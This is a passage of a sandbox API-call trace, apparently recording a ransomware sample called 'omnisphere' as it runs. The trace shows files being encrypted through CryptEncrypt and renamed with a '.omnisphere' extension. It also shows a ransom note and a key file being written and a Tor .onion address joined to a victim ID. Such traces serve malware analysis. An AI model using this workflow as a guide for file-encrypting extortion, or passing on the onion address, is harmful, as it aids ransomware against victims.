pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.423] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.423] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.423] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.423] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.423] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.423] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.423] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.423] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.423] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.423] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.423] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.423] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.423] CryptReleaseContext (hProv=0x16689b0, dwFlags=0x0) returned 1 [0119.423] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x34f, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.424] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.424] GetProcessHeap () returned 0x1600000 [0119.424] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b8) returned 0x16bb780 [0119.424] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aar4wXwobwm8v j.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\aar4wxwobwm8v j.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aar4wXwobwm8v j.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\aar4wxwobwm8v j.lnk.omnisphere")) returned 1 [0119.425] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aar4wXwobwm8v j.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aar4wXwobwm8v j.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aar4wXwobwm8v j.lnk.omnisphere.id" [0119.425] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aar4wXwobwm8v j.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\aar4wxwobwm8v j.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.426] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.427] CloseHandle (hObject=0x3c0) returned 1 [0119.428] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.428] CloseHandle (hObject=0x288) returned 1 [0119.428] SetEndOfFile (hFile=0x28c) returned 1 [0119.429] FlushFileBuffers (hFile=0x28c) returned 1 [0119.433] CloseHandle (hObject=0x28c) returned 1 [0119.434] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aar4wXwobwm8v j.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.434] GetProcessHeap () returned 0x1600000 [0119.434] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16bba40 [0119.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.434] GetProcessHeap () returned 0x1600000 [0119.434] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b22e8 [0119.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b22e8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.434] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.434] GetProcessHeap () returned 0x1600000 [0119.434] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afe08 [0119.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afe08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.434] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.434] GetProcessHeap () returned 0x1600000 [0119.434] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a16d0 [0119.434] PathCombineW (in: pszDest=0x16a16d0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.434] GetProcessHeap () returned 0x1600000 [0119.434] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16b7978 [0119.434] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.435] WriteFile (in: hFile=0x28c, lpBuffer=0x16b7978*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16b7978*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.435] CloseHandle (hObject=0x28c) returned 1 [0119.435] GetProcessHeap () returned 0x1600000 [0119.435] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16bba40 | out: hHeap=0x1600000) returned 1 [0119.435] GetProcessHeap () returned 0x1600000 [0119.435] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e8e8 [0119.435] PathCombineW (in: pszDest=0x162e8e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.435] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.436] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.436] CloseHandle (hObject=0x28c) returned 1 [0119.436] GetProcessHeap () returned 0x1600000 [0119.436] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e8e8 | out: hHeap=0x1600000) returned 1 [0119.436] GetProcessHeap () returned 0x1600000 [0119.436] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.436] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21ac0df8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x21ac0df8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x21ac0df8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x0, dwReserved1=0xd3, cFileName="AcOLQjuLNXMql.lnk", cAlternateFileName="ACOLQJ~1.LNK")) returned 1 [0119.436] GetProcessHeap () returned 0x1600000 [0119.436] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa4) returned 0x162cec8 [0119.436] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="AcOLQjuLNXMql.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AcOLQjuLNXMql.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AcOLQjuLNXMql.lnk" [0119.436] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.436] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AcOLQjuLNXMql.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\acolqjulnxmql.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.437] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=837) returned 1 [0119.437] GetTickCount () returned 0x115dd7b [0119.437] GetTickCount () returned 0x115dd7b [0119.437] GetTickCount () returned 0x115dd7b [0119.437] GetTickCount () returned 0x115dd7b [0119.437] GetTickCount () returned 0x115dd7b [0119.437] GetTickCount () returned 0x115dd7b [0119.437] GetTickCount () returned 0x115dd7b [0119.437] GetTickCount () returned 0x115dd7b [0119.437] GetTickCount () returned 0x115dd7b [0119.437] GetTickCount () returned 0x115dd7b [0119.437] GetTickCount () returned 0x115dd7b [0119.437] GetTickCount () returned 0x115dd7b [0119.437] GetTickCount () returned 0x115dd7b [0119.437] GetTickCount () returned 0x115dd7b [0119.437] GetTickCount () returned 0x115dd7b [0119.437] GetTickCount () returned 0x115dd7b [0119.437] GetTickCount () returned 0x115dd7b [0119.437] GetTickCount () returned 0x115dd7b [0119.437] GetTickCount () returned 0x115dd7b [0119.437] GetTickCount () returned 0x115dd7b [0119.437] GetTickCount () returned 0x115dd7b [0119.437] GetTickCount () returned 0x115dd7b [0119.437] GetTickCount () returned 0x115dd7b [0119.438] GetTickCount () returned 0x115dd7b [0119.438] GetTickCount () returned 0x115dd7b [0119.438] GetTickCount () returned 0x115dd7b [0119.438] GetTickCount () returned 0x115dd7b [0119.438] GetTickCount () returned 0x115dd7b [0119.438] GetTickCount () returned 0x115dd7b [0119.438] GetTickCount () returned 0x115dd7b [0119.438] GetTickCount () returned 0x115dd7b [0119.438] GetTickCount () returned 0x115dd7b [0119.438] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16683d8) returned 1 [0119.439] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0119.439] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.439] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.439] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0119.439] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x345, lpName=0x0) returned 0x288 [0119.439] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x345) returned 0x1480000 [0119.439] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668ac0) returned 1 [0119.440] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0119.440] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.440] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.440] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.440] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.440] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.440] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.441] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.441] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.441] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.441] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.441] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.441] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.441] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.441] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.441] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.441] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.441] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.441] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.441] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.441] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.441] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.441] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.441] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.441] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.441] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.441] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.442] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.442] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.442] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.442] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.442] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.442] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.442] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.442] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.442] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.442] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.442] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.442] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.442] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.442] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.442] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.442] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.442] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.442] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.442] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, 